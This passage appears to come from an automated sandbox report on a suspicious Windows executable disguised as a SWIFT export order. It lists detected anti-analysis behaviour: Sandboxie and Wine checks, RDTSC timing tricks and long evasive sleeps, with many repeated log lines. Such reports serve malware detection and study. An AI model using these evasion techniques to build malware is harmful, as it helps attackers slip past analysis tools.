Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.2cd9004.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: TT_SWIFT_Export Order_noref S10SMG00318021.exe PID: 3456, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe RDTSC instruction interceptor: First address: 0000000000408614 second address: 000000000040861A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe RDTSC instruction interceptor: First address: 00000000004089AE second address: 00000000004089B4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe RDTSC instruction interceptor: First address: 00000000006B8614 second address: 00000000006B861A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe RDTSC instruction interceptor: First address: 00000000006B89AE second address: 00000000006B89B4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -12912720851596678s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1064 Thread sleep count: 3989 > 30 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1064 Thread sleep count: 4346 > 30 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 5664 Thread sleep time: -39327s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239718s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239609s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239497s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239370s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239263s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239152s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -239031s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238921s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238812s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238703s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238593s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238483s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238375s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238265s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238150s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -238045s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237937s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237718s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237609s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237499s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237390s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237281s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237171s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -237062s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236952s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236843s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236734s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236625s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236515s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236406s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236296s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236152s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -236046s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235937s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235718s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235609s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235500s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235390s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235281s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235141s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -235031s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234913s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234797s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234682s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234553s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234391s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234250s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234140s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -234012s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233898s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233750s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233640s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233529s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233421s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233312s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233203s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -233093s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232980s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232865s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232687s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232535s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232395s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -232268s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -230891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe TID: 1256 Thread sleep time: -230122s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6356 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6236 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6340 Thread sleep count: 7185 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6336 Thread sleep count: 1300 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6392 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004088E0 rdtsc 8_2_004088E0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 240000 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239497 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239370 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239263 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239152 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239031 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238921 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238812 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238703 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238593 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238483 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238375 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238265 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238150 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238045 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237937 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237499 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237390 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237281 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237171 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237062 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236952 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236843 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236734 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236625 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236515 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236406 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236296 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236152 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236046 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235937 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235500 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235390 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235281 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235141 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235031 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234913 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234797 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234682 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234553 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234391 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234250 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234140 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234012 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233898 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233750 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233640 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233529 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233421 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233312 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233203 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233093 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232980 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232865 Jump to behavior
